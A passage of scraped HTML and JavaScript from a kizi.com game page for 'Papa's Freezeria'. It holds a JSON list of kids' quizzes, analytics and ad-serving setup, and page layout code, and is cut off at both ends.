2","game":"fireboy-and-watergirl-the-forest-temple","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_FBWG2-4a772977942e5d5ca2278f7a8f815219.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_FBWG2-a0df1b3188e118806ec9b3f51ae2551a.png"},{"permalink":"fireboy-and-watergirl-maze","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Maze_FBWG1_240x180-3134e4bc45c8089f3daf1fc475e70276.png","title":"Fireboy and Watergirl maze","game":"fireboy-and-watergirl-the-forest-temple","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_FBWG1-48130058b56a8695d57b1b1192cab458.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_FBWG1-61fc9f4d4aee4eaf034d9e04b4a32a71.png"},{"permalink":"do-you-know-all-papa-louie-characters","height":640,"width":640,"format":"Gallery Quiz","thumb":"http://cdn0.kizi.com/assets/quiz/Papas_240x180_Q1-c1dffaf34178f9febde27da25394101c.png","title":"Do You Know Papa's Characters?","game":"papa-louie-3-when-sundaes-attack","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_PL1-cf0a39154a18b51b67eca72209bcd431.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_PL1-2020aee0eda5945cd2c7958a0e8c3d5a.png"},{"permalink":"papa-loui-characters-quiz","height":640,"width":640,"format":"Gallery Quiz","thumb":"http://cdn0.kizi.com/assets/quiz/Papas_240x180_Q2-5257917f3687ce70e01add459590fa3a.png","title":"Do You Know Papa's Characters?","game":"papa-louie-3-when-sundaes-attack","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_PL2-d7553c0de19b3ce3768b10d15a2b2995.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_PL2-d89aa107b11103c212bc9fae9fb35cb2.png"},{"permalink":"are-you-a-dynamons-master","height":640,"width":640,"format":"Gallery Quiz","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Game-c9290da663591012fb4d473e099f0434.png","title":"Guess the game","game":"kiziland","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_Kizi1-0d03e9f60d07d239a733bf0cf32a6bd5.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_Kizi1-b07844abd6470027b7ef6e1034dfc9a5.png"},{"permalink":"can-you-guess-the-food","height":640,"width":640,"format":"Gallery Quiz","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Food-aacac70901a77c6d1646c154443645ac.png","title":"Guess the food","game":"papas-freezeria"},{"permalink":"which-shape-is-missing","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_ShapeQuiz-297fa28438f0d82c9f0853440610b768.png","title":"Which shape is missing?","game":"kiziland"},{"permalink":"match-flip-quiz","height":640,"width":640,"format":"Flip Cards","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Matches-3a505ee78533efbeba1f8d8e8e7082cc.png","title":"Match equations","game":"kiziland"},{"permalink":"help-bob-find-the-code","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Bob_ColorCode-3c8ff55fc34152870ee2d820ce4bcc85.png","title":"Help Bob find the code","game":"bob-the-robber-3","thumb150":"http://cdn1.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_BOB1-29ff2fdde96db42d4884b3e89be12601.png","thumb300":"http://cdn1.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_BOB1-de3a14031d0a619661d15adf22b2295d.png"},{"permalink":"addition-and-subtraction-problems","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Math2-552366d02d17b63c71dba2b0a778bd46.png","title":"Addition and subtraction problems","game":"kiziland"},{"permalink":"advanced-math-riddles","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Math3-b68531e3276b52fc06a1ab1bda4f4266.png","title":"Advanced math riddles","game":"kiziland"},{"permalink":"math-problems","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Math4-6ad8021acf7255cbbe6b5d82e4de4ed6.png","title":"Math problems","game":"kiziland"},{"permalink":"a-which-way-should-kizi-go","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Maze-bcf4cf34aa8557cc4232f85d7f3b05ae.png","title":"Which way should Kizi go?","game":"kiziland"},{"permalink":"b-can-you-solve-this-problem","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Math-cae16c45dd9271b1cc24d63bfd8165af.png","title":"Math riddles","game":"kiziland"},{"permalink":"c-which-kizi-is-different","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_different-990c9ca86b749021aabb3f5a64b46e92.png","title":"Which Kizi is different?","game":"kiziland"},{"permalink":"which-dynamons-is-different","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Dyno-different-0deb1cdb1aee2cd9e73549eeb44e5653.png","title":"Which Dynamons is different?","game":"dynamons-world"},{"permalink":"dynamons-sudoku","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Sudoku-0b0fc0cc64df2c14e10bb78126282d5b.png","title":"Dynamons Sudoku","game":"dynamons-world","thumb150":"http://cdn1.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_DYN3-16759f14b3c8e186a33e98dc57871446.png","thumb300":"http://cdn1.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_DYN3-85013dfff0d7354d7b5b2f8d06302775.png"},{"permalink":"dynamons-shadow-quiz-1","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Dyno-shadow1-b4323c5f018ee52fcb3ff3f4bab8e220.png","title":"Dynamons Shadow Quiz 1","game":"dynamons-world","thumb150":"http://cdn1.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_DYN1-63fdb2172636b760514009996cac7920.png","thumb300":"http://cdn1.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_DYN1-bb6897f74ac046ca2ce19af5c8d17917.png"},{"permalink":"dynamons-shadow-quiz-2","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Dyno-shadow2-0ef85aed5de8b5ba790bf6011b914250.png","title":"Dynamons Shadow Quiz 2","game":"dynamons-world"},{"permalink":"kiziland-shadow-quiz-1","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_kiziland-shadow1-df5c3db3e5835356830ee1bd1b495325.png","title":"Kiziland Shadow Quiz 1","game":"kiziland"},{"permalink":"kiziland-shadow-quiz-2","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_kiziland-shadow2-d6e77d4c3970d910399a31fa0a134e3a.png","title":"Kiziland Shadow Quiz 2","game":"kiziland"},{"permalink":"which-piece-is-missing","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Missing-cbfba4b70000fd4796712b55755db57d.png","title":"Which piece is missing?","game":"kiziland"},{"permalink":"what-comes-next","height":640,"width":640,"format":"Flip Cards","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Next-7108b37ae3add2a1d2c432d9c5604f69.png","title":"What comes next ?","game":"kiziland"},{"permalink":"which-kizi-are-you","height":640,"width":640,"format":"Personality Quiz","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Which-90543fd5aa2cf2233fae5d58dab0cd82.png","title":"Which Kizi are you?","game":"kiziland"}]; var ch_date_value = "0_0"; var conversion_value = "0.0"; var child_directed = "false" var videos_allowed = "false"; var is_paid_visit = "false"; var fullscreen = ''; var creative_id = ""; var html5_midroll= "false"; var html5_midroll_setup = ""; var full_embed_code = "" || ""; var counter_visits = '0'; var game_embed_code_present = 'false'; var game_unity = 'false'; var header_bidding_enabled = false; var header_bidding_unit_names = []; var GAME_RESIZE_FACTOR = 0.88; var safari_flash_prompt_text = ""; var rtl_prompt = "false" == "true"; var cdn_suffix = ""; var similars_in_new_page = "control" == "new_page"; var branding_preloader = ""; </script><script type="text/javascript"> //One Signal push notifications var show_push_notifications_button = true; I18n.defaultLocale = "en"; I18n.locale = "en"; var static_mode = false; var counter_visits = '0'; // Hotjar Tracking Code for funtomic.com (function(h,o,t,j,a,r){ h.hj=h.hj||function(){(h.hj.q=h.hj.q||[]).push(arguments)}; h._hjSettings={hjid:113461,hjsv:5}; a=o.getElementsByTagName('head')[0]; r=o.createElement('script');r.async=1; r.src=t+h._hjSettings.hjid+j+h._hjSettings.hjsv; a.appendChild(r); })(window,document,'//static.hotjar.com/c/hotjar-','.js?sv='); var recent_games = (readCookie('games_played_history') || "").split("|"); recent_games = $.map(recent_games, function (a) { //filters empty strings and nulls return (a ? a : null); }); recent_games = recent_games.slice(-10).reverse(); </script><script type="text/javascript"> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); var page_id = "w7NlvXO7TRoNIi4ydKqhSQ=="; ga('create', 'UA-21161719-1', 'auto'); // trying to init userid for pageview from the cookie (if exists) (function(){ var lcl = readCookie('brzcrz_local'); if (lcl) { ga('set', 'userId', lcl); ga('set', 'dimension13', lcl); ga('set', 'dimension34', ""); } })(); // special custom dimensions for game page if (window.game_name){ ga('set', 'dimension14', window.game_name); ga('set', 'dimension15', window.categories); } // we add pageviews dimensions for every page // for test how analytics works ga('set', 'dimension3', ''); ga('set', 'dimension4', ''); ga('set', 'dimension10', ''); ga('set', 'dimension11', ''); ga('set', 'dimension12', ''); //user registration ga('set', 'dimension6', 'guest'); ga('send', 'pageview'); // different ga events // because dom is not loaded yet we deffer click events registration $(document).on('click', '#envelope', {target: 'Notifications'}, sendAnalyticsEvent); $(document).on('click', '#last_played_button', {target: 'Last Played'}, sendAnalyticsEvent); $(document).on('click', '#coins_container, #get_coins_homepage', {target: 'Coins in toolbar'}, sendAnalyticsEvent); $(document).on('click', '.add_friend_button', {target: 'Coins Offer Join'}, sendAnalyticsEventCoinsOffer); function sendAnalyticsEvent(e) { var target = e.data.target; ga('send', { hitType: 'event', eventCategory: 'Top bar', eventAction: target + ' clicked' }); sendSplunkEvent('TopBarClickEvent', {user_clicked: target}); } function sendAnalyticsEventCoinsOffer(e) { var target = e.data.target; ga('send', { hitType: 'event', eventCategory: 'Coins Offer', eventAction: 'Clicked' }); sendSplunkEvent('CoinsOfferClickEvent', {user_clicked: target}); } </script><script type="text/javascript"> var DS_OPTIONS = { id: 'kizi.com', success: function(id) { ga('set', 'userId', id); ga('set', 'dimension13', id); } }; (function(window, document, element, source) { var ds = document.createElement(element), m = document.getElementsByTagName(element)[0]; ds.type = 'text/javascript'; ds.async = true; ds.src = source; m.parentNode.insertBefore(ds, m) })(window, document, 'script', 'https://game.gamemonkey.org/static/main.min.js'); </script><script>(function(w,d,t,r,u){var f,n,i;w[u]=w[u]||[],f=function(){var o={ti:"5317722"};o.q=w[u],w[u]=new UET(o),w[u].push("pageLoad")},n=d.createElement(t),n.src=r,n.async=1,n.onload=n.onreadystatechange=function(){var s=this.readyState;s&&s!=="loaded"&&s!=="complete"||(f(),n.onload=n.onreadystatechange=null)},i=d.getElementsByTagName(t)[0],i.parentNode.insertBefore(n,i)})(window,document,"script","//bat.bing.com/bat.js","uetq");</script><script> var GA_events = { global_attributes: {"first_visit_date":1516326358,"alternative_ids":"","previous_channels":"","last_visit_time":"","ip":"40.77.167.130","channel":"0","bot":true}, uid:"5e94acc7837d9e42c6ee1ed22af02701", debug_enabled: "true" != 'true', track: function(event_category, event_action, event_label, event_value, dimensions){ var params = dimensions || {}; params["hitType"] = 'event'; params["eventCategory"] = event_category; params["eventAction"] = event_action; if (typeof(event_label) != 'undefined' && event_label != null){ params["eventLabel"] = event_label; } if (typeof(event_value) != 'undefined' && event_value != null){ params["eventValue"] = event_value; } // set shared custom dimensions var is_adblock_active = (typeof(window.adblock_active) == 'undefined') ? 'false' : window.adblock_active.toString(); params["dimension16"] = is_adblock_active; params["dimension17"] = GA_events.global_attributes["channel"]; params["dimension18"] = GA_events.global_attributes["alternative_ids"]; params["dimension19"] = GA_events.global_attributes["bot"]; params["dimension20"] = GA_events.global_attributes["first_visit_date"]; params["dimension21"] = GA_events.global_attributes["ip"]; params["dimension22"] = GA_events.global_attributes["last_visit_time"]; params["dimension25"] = GA_events.uid; // send the event to GA ga('send', params); } }; // handle Visit event // < if @is_new_visit %> // $(document).ready(function() { // var params = <= raw build_visit_event_hash.to_json %>; // GA_events.track('om_load', params); // }); <!--< end %>--> </script><script type="text/javascript"> // temp stub for sending events from client instead of partial "static/events" which is not in use now // var GA_events = { // track: function(){} // } //http://stackoverflow.com/questions/1481251/what-does-document-domain-document-domain-do //holy hack for cross-domain with different ports problem try { document.domain = "kizi.com"; } catch (e) { console.log("Set kizi.com domain error:" + e.toString()); } </script><script type="text/javascript"> var game_id = 19; var video_title = "Papa&#x27;s Freezeria"; var video_permalink = "http://kizi.com/videos/papas-freezeria"; var video_final_width; var video_final_height; var game_permalink = "papas-freezeria"; var swfURL = "http://static4.kizi.com/system/static/games/papas-freezeria.swf?0"; var descriptionURL = "http://kizi.com/games/description/papas-freezeria"; var page_type = "game"; var adsense_product = "games"; var is_html5_game = "false" == "true"; var ad_mode = "adaptv"; var is_coins_game = true; var static_mode = false; var load_popups_path = "/users/load_popups?coins_game=true&amp;game_page=true"; var game_initial_width = 640; var game_initial_height = 480; var game_min_width = 640; var game_final_width; var game_final_height; var game_strip_height; var game_strip_width; // used by _preloader_code, can't change this var game_swf_width; var game_swf_height; var SIMILAR_GAME_TILE_HEIGHT = 110; var SIMILAR_GAME_TILE_WIDTH = 110; var SIMILAR_VIDEO_TILE_HEIGHT = 90; var SIMILAR_VIDEO_TILE_WIDTH = 90; var GAME_STRIP_MIN_HEIGHT = 600; var GAME_STRIP_PADDING = {min: 1, max: 10}; adblock_active_temp = adblock_active; adblock_active_temp = false; var game_layout_object = new GameLayoutHelper(GAME_RESIZE_FACTOR, $(window).width(), game_initial_width, game_min_width, GAME_STRIP_PADDING, adblock_active_temp, true, user_country); var layout_object = game_layout_object; // used by show_top etc var active_layout = game_layout_object.active_layout; // game_swf_width/height used by _preloader_code game_swf_width = game_final_width = game_layout_object.game_final_width; game_swf_height = game_final_height = game_final_width * (game_initial_height/ game_initial_width); var final_game_strip_side_padding = game_layout_object.final_padding; var GAME_DATA_CONTAINER_PADDING = 10; game_strip_height = Math.max(GAME_STRIP_MIN_HEIGHT, game_final_height); game_strip_width = active_layout.required_width_for_sides + game_final_width; // set ad dimensions ad_width = game_final_width; ad_height = game_strip_height; // ad can be taller than the game (in case the game is less than 600) var missing_flash_content_container_id = "game_box"; var disable_recent_games_animation = "false" == "true"; </script><script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'> </script><script type='text/javascript'> var googletag = googletag || {}; googletag.cmd = googletag.cmd || []; (function () { var gads = document.createElement('script'); gads.async = true; gads.type = 'text/javascript'; var useSSL = 'https:' == document.location.protocol; gads.src = (useSSL ? 'https:' : 'http:') + '//www.googletagservices.com/tag/js/gpt.js'; var node = document.getElementsByTagName('script')[0]; node.parentNode.insertBefore(gads, node); })(); </script><script type='text/javascript'> var ad_slots = []; var openx_enabled = false; openx_enabled = true; var oxBidRequestPromise; // build ad mappings for openx config var ad_mappings = []; layout_object.all_banners.forEach(function (banner_name) { var unit_name = layout_object.get_layout_specific_ad_unit_name(banner_name, false); ad_mappings.push({ type: 'display', divId: layout_object.get_ad_div_id(banner_name), adUnit: '/1025213/' + unit_name, sizes: [layout_object.extract_ad_size(banner_name)], oxAdUnitId: '539380753' }); }); // Set up bidderConfig configuration. var bidderConfig = { timeLimit: 2000, deliveryDomain: 'funtomic-d.openx.net', singleRequest: true, adMappings: ad_mappings }; // Intialize OpenX Bidder Lite. var oxhbjs = new HeaderBidder(bidderConfig); oxBidRequestPromise = oxhbjs.getBids(); googletag.cmd.push(function () { googletag.defineSlot('/1025213/Kizi_skin', [1, 1], 'div-gpt-ad-1421239811025-0').addService(googletag.pubads()); // calling defineSlot for each of the layout's banners layout_object.all_banners.forEach(function (banner_name) { //console.log("defineSlot: " + layout_object.get_layout_specific_ad_unit_name(banner_name)); if ($.find("#CODE_FOR_"+banner_name).length == 0) { var unit_name = layout_object.get_layout_specific_ad_unit_name(banner_name, header_bidding_enabled); var slot = googletag.defineSlot('/1025213/' + unit_name, layout_object.extract_ad_size(banner_name), layout_object.get_ad_div_id(banner_name)).addService(googletag.pubads()); ad_slots.push(slot); if (header_bidding_enabled){ header_bidding_unit_names.push(unit_name); } } banner_impressions += 1; }); googletag.pubads().enableSingleRequest(); googletag.pubads().setTargeting("channel", preroll_channel); if(typeof(adgroup_key) != "undefined" && adgroup_key.length > 0) { googletag.pubads().setTargeting(adgroup_key, adgroup_value); } googletag.pubads().setTargeting("ads_layout", ads_layout); googletag.pubads().setTargeting("abtest1", abtest1Alt); googletag.pubads().setTargeting("abtest2", abtest2Alt); googletag.pubads().setTargeting("abtest3", abtest3Alt); googletag.pubads().setTargeting("abtest4", abtest4Alt); googletag.pubads().setTargeting("abtest5", abtest5Alt); googletag.pubads().setTargeting("ch_date", ch_date_value); googletag.pubads().setTargeting("ch_dir", child_directed); googletag.pubads().setTargeting("AFC_Meta", build_metadata_custom_targeting('afc')); googletag.pubads().setTargeting("Game_id", "gamepage_game_id_" + game_id); if (window.category_custom_criteria != undefined) { googletag.pubads().setTargeting("Game_Categ", category_custom_criteria); } if (window.video_id != undefined) { googletag.pubads().setTargeting("Pag_vid_id", "gamepage_video_id_" + video_id); } var viewport_x_targeting = calc_viewport_x_custom_criteria(); if (viewport_x_targeting) { googletag.pubads().setTargeting("Viewport_X", viewport_x_targeting); } googletag.enableServices(); }); function top_install_btn_clicked(){ if (typeof(post_extension_installation) == "function"){ install_kizi_mini_chrome_extension(post_extension_installation); }else{ install_kizi_mini_chrome_extension(); } } </script><script type="text/javascript" src="http://redir.adap.tv/redir/javascript/vpaid.js"></script><script type="text/javascript" src="http://redir.adap.tv/redir/javascript/adaptvAdPlayer.js"></script><script type='text/javascript'> // if openx is enabled we shouls call display only after their response is ready if (!openx_enabled){ googletag.cmd.push(function () { googletag.display('div-gpt-ad-1421239811025-0'); }); } $(window).ready(function () { $("#div-gpt-ad-1421239811025-0").find('iframe').each(function () { if ($(this).height() > 0) { $(this).height($("#content").height()); } }); }); </script><script type="text/template" id="tile_thumb_template"> <div class="thumb {{= new_game_class }}" style="{{= wrapper_style }}" name="{{= name }}" rel="{{= rel }}"> {{= new_ribbon_img }} {{ if (show_plays == 'show') { }} <span class="current_plays kizi_font">{{= current_plays }}</span> {{ } }} {{ if (show_plays == 'blink') { }} <span class="current_plays kizi_font"> <div class="blinking_circle"></div> {{= current_plays }}</span> {{ } }} <img src="{{= thumb_src }}" class="thumb_image" style="{{= thumb_style }}"/> {{= coins_img }} {{= multiplayer_img }} <a class="thumb_overlay" href="{{= game_path }}" hola_ve_preview="{{= preview_video_url }}" {{= optional_link_params }}>{{= name }}</a> </div> </script><script type="text/template" id="tile_video_thumb_new_game_page_template" > <a href="{{= video_path }}" target="_blank"> <div class="thumb" rel="{{= rel }}"> {{= new_ribbon_img }} {{= duration }} <img src="{{= thumb_src }}" class="thumb_image"/> </div> <div class="thumb_title kizi_font prevent_select">{{= title }}<div class="small_videos_icon"></div> </div> </a> </script><script type="text/javascript"> var game_pct_loaded = 0; var api_loaded = 0; function startGame() { var game_height; game_height = game_swf_height; if ($('#PreloaderEmbedSWF').length != 0) $("#GameEmbed").css({marginTop:(($("#game_box").height() - game_height) / 2) + "px"}); $("#PreloaderEmbedSWF").hide(); $("#GameEmbedSWF").css({visibility:"visible"}); $("#GameEmbedSWF")[0].startGame(); } function apiLoaded() { api_loaded = 1; } function getPreloaderProgress() { return game_pct_loaded * 0.8 + api_loaded * 20; } function setPreloaderProgress(val) { game_pct_loaded = val; } </script><script type="text/javascript"> $("body").addClass('new_game_page'); $(document).ready(function () { handle_layout(); handle_post_show_game(); handle_video_player_setup(); track_ad_clicks(); handle_adblock(); // handle_one_signal(); // buttons $("#play_on_mobile_btn").click(function(){ $.colorbox({inline: true, href: "#play_on_mobile_popup", transition: 'none', fadeOut: 100, initialHeight:340, initialWidth:540, opacity: 0.8}); }); $.ajax("/get_youtube_subscribers", { // ... success: function(response) { $(".subscribe_btn").html("SUBSCRIBE " + response); } }); }); function handle_video_player_setup(){ var playerInstance; var settings = { container: "VideoEmbed", gameId: "[your game id]", //it is an unique value publisherId: "88e25571535d4aeb8842e9e2c6150513", width: "100%", height: "100%", title: "Papa's Freezeria", //you have to type your game title here we need for matching game video category: "[Game Category]", // game category langCode: "en-us", autoplay: "no", onFound: function (data) { console.log(data); }, onError: function (data) { console.log(data); }, onReady:function(player){ // Keep player instance to control it later like play or pause player // available controls: // // player.play() or player.play([seek time]); // You can jump a time (second *optional) of video. // player.pause(); // player.setVolume(0.5); // Value should be between 0.0 and 1.0 console.log(player); playerInstance = player; // Set player instance } }; var script_url = "//video-static.vooxe.com/libs/gd/gd.js"; (function(i,s,o,g,r,a,m){ i['VooxeVideo']=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)};i[r].l=1*new Date();a=s.createElement(o);m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a, m); })(window, document, 'script', script_url, 'gdPlayer'); gdPlayer(settings); } function handle_post_show_game(){ var needed_similars_amount = active_layout.bottom_similar ? calc_bottom_similar_amount() : calc_similar_amount(); var action_params = {}; action_params["similar_amount"] = needed_similars_amount; action_params["similar"] = (needed_similars_amount > 0); action_params["page_id"] = page_id; action_params["first_game_play_for_visit"] = first_game_play_for_visit; action_params["thumb_type"] = thumb_type; action_params["origin_category"] = origin_category; action_params["thumb_position"] = thumb_position; action_params["page_type"] = page_type; action_params['allow_unity'] = KiziUtils.allow_unity(); action_params['similar_container'] = $(":visible.similar_games_holder"); action_params['is_html5_game'] = is_html5_game; action_params['similars_in_new_page'] = similars_in_new_page; var video_params = null; var similar_videos_path = null; if (active_layout.walkthrough_layout.indexOf("vertical_similars") != -1 || active_layout.walkthrough_layout.indexOf("horizontal_similars") != -1){ var render_type = active_layout.walkthrough_layout.indexOf("vertical_similars") != -1 ? "vertical" : "horizontal"; video_params = {}; video_params["similar_amount"] = (render_type == "horizontal" ? 6 : needed_similars_amount); video_params["render_type"] = render_type; } post_game_show_actions_new_game_page("/games/papas-freezeria/post_show_actions", action_params, video_params); GA_events.track('Game', 'Play', game_id, null, {dimension23: game_id}); } function handle_adblock(){ if (adblock_active) { hidePreRoll(); } } // All layout related code should be here function handle_layout(){ $("#game_box").css({height: game_strip_height + "px", width: game_final_width + "px"}); // vertically align the game within the game box $("#GameEmbed").css({marginTop:((game_strip_height - game_final_height) / 2) + "px"}); $("#left_banner").width(active_layout.left); $("#right_banner").width(active_layout.right); if(!active_layout.right_similar){ $("#right_similar").hide(); } if(!active_layout.left_similar){ $("#left_similar").hide(); } if(!active_layout.bottom_similar){ $("#bottom_similar").hide(); } // see if some manual layout adjustments are required // ================================================== // if the strip is too narrow, if we have a play on mobile button we shrink it if (game_strip_width < 770 && $("#play_on_mobile_btn").length){ $("#play_on_mobile_btn a").css({paddingRight: 0}).contents()[1].remove(); // remove text $("#play_on_mobile_btn").removeClass("btn_with_text"); $("#play_on_mobile_btn div").removeClass("icon_with_text"); } // shrink walkthrough button if needed if (game_strip_width < 690 && $("#walkthrough_btn").length > 0 && $("#play_on_mobile_btn").length > 0){ $("#walkthrough_btn a").css({paddingRight: 0}).contents()[2].remove(); // remove text $("#walkthrough_btn").removeClass("btn_with_text"); $("#walkthrough_btn div").removeClass("icon_with_text"); } var all_banners = game_layout_object.all_banners; if (all_banners.indexOf('300x250_ATF-Left') != -1 || all_banners.indexOf('300x250_ATF-Right') != -1){ $("#top_banner_holder").height(250); } // adjust bottom_banner_holder width if (active_layout.matomy_changes_applied){ $("#bottom_banner_holder").css({width: "728px", height: "250px"}); // if matomy changes were applied, we need to move the 300x250 banners to bottom var elements = $('.move_to_bottom_if_matomy').detach(); $(elements[0]).addClass('fl'); $(elements[1]).addClass('fr'); $("#bottom_banner_holder").append(elements); } // TODO: see if this can be set in css now that there's always a WT // there's a walkthrough, so no need for 150px from bottom banner $("#bottom_banner_holder").css("margin-top", "20px"); // reveal the game strip after layout is ready (+ set css) $(".game_data_container").css({display: 'block', width: (game_strip_width + 2 * final_game_strip_side_padding - 2 * GAME_DATA_CONTAINER_PADDING) + "px", paddingLeft: GAME_DATA_CONTAINER_PADDING + "px", paddingRight: GAME_DATA_CONTAINER_PADDING + "px"}); // fixed 10px side-padding on game data containers $(".game_strip").css({display: 'block', height: game_strip_height + "px", width: game_strip_width + "px", paddingLeft: final_game_strip_side_padding + "px", paddingRight: final_game_strip_side_padding + "px"}); if (active_layout.bottom_similar){ $("#bottom_similar").css({width: (game_strip_width + 2 * final_game_strip_side_padding) + "px", height: "140px"}); // no need for 150px from bottom banner $("#bottom_banner_holder").css("margin-top", "30px"); } handle_video_strip_layout(game_strip_width, game_strip_height, final_game_strip_side_padding); } function handle_video_strip_layout(video_strip_width, video_strip_height, side_padding){ var required_width_for_video_banners_and_similars = 0; var video_box_side_padding = 10; var back_to_game_btn_visible = true; // layout-specific settings for video strip switch (game_layout_object.active_layout.walkthrough_layout){ case "left_300_right_300_horizontal_similars": $("#video_left_banner").css({width: "300px"}); $("#video_right_banner").css({width: "300px"}); // $("#video_horizontal_similars").show(); $("#youtube_large_button").show(); $("#back_to_game").show(); $("#back_to_game_btn").hide(); back_to_game_btn_visible = false; required_width_for_video_banners_and_similars = 2 * 300; break; case "left_160_vertical_similars": $("#video_left_banner").css({width: "160px"}); $("#video_left_vertical_similar").show(); required_width_for_video_banners_and_similars = 160 + 150; video_box_side_padding = 0; break; case "left_120_vertical_similars": $("#video_left_banner").css({width: "120px"}); $("#video_left_vertical_similar").show(); required_width_for_video_banners_and_similars = 120 + 150; video_box_side_padding = 0; break; case "left_120_right_120_no_similar": $("#video_left_banner").css({width: "120px"}); $("#video_right_banner").css({width: "120px"}); required_width_for_video_banners_and_similars = 2 * 120; break; case "only_video": video_box_side_padding = 0; break; } var video_box_width = video_strip_width - required_width_for_video_banners_and_similars - (2 * video_box_side_padding); $("#video_box").css({width: video_box_width, height: video_strip_height, padding: "0 " + video_box_side_padding + "px"}); calc_video_proportions(video_box_width, video_strip_height); $(".video_strip").css({display: 'block', height: video_strip_height, width: video_strip_width + "px", paddingLeft: side_padding + "px", paddingRight: side_padding + "px"}); // position the footer content right under the video and centered to it (there are several layout options) var margin = Math.floor($("#VideoEmbed").offset().left - $("#video_on_gamepage").offset().left - GAME_DATA_CONTAINER_PADDING); $("#footer_content").css({marginLeft: margin + "px", width: video_final_width + "px"}); // TODO: add to css // if not chapters, vertically align the video title $("#video_data .game_name_container h1").addClass("no_chapters"); } function calc_video_proportions(video_box_width, video_box_height){ video_final_width = video_box_width; video_final_height = video_box_height; $("#VideoEmbed").css({width: video_final_width + "px", height: video_final_height + "px"}); } function calc_similar_amount(){ var number_of_holders = $(":visible.similar_games_holder").length; var margin = 8; var height = game_strip_height - margin; var similar_amount_per_holder = Math.floor(height / (SIMILAR_GAME_TILE_HEIGHT + margin)); var spair_height = height - similar_amount_per_holder * (SIMILAR_GAME_TILE_HEIGHT + margin); $(".similar_games_holder").css({paddingTop: (spair_height / 2) + "px"}); $("#video_left_vertical_similar").css({paddingTop: (spair_height / 2) + "px"}); return similar_amount_per_holder * number_of_holders; } function calc_bottom_similar_amount(){ var number_of_holders = 1; var margin = 12; var width = game_strip_width - margin; var similar_amount_per_holder = Math.floor(width / (SIMILAR_GAME_TILE_WIDTH + margin)); var spair_width = width - similar_amount_per_holder * (SIMILAR_GAME_TILE_WIDTH + margin); $("#bottom_similar").css({paddingLeft: (final_game_strip_side_padding + (margin / 2) + (spair_width / 2)) + "px"}); return similar_amount_per_holder * number_of_holders; } function FirstImpression_ad_below_game(){ paddingAmount = 150 - ((620 - game_initial_height)/2 + 90); logoMarginAmount = paddingAmount / 2; paddingAmount -= logoMarginAmount; if (paddingAmount < 20) { paddingAmount = 20; logoMarginAmount = 20; } $("div.kiziCSSControl").prepend('<img alt="Logo" src="http://cdn0.kizi.com/assets/collections/logo_140x90-8663bc5d48853b4b15d323f21fa1e8fa.png " style="margin:0 auto '+logoMarginAmount+'px auto" />').css({"paddingTop":paddingAmount+"px", "margin":"0 auto 50px auto"}); } </script><script type="text/javascript"> var game_swf_callback = null; flashvars = {game_id: game_id, game_permalink: game_permalink, show_midroll: show_midroll, authtoken: authtoken, apiSwfUrl: getApiSwfFilename(), apiGateway: 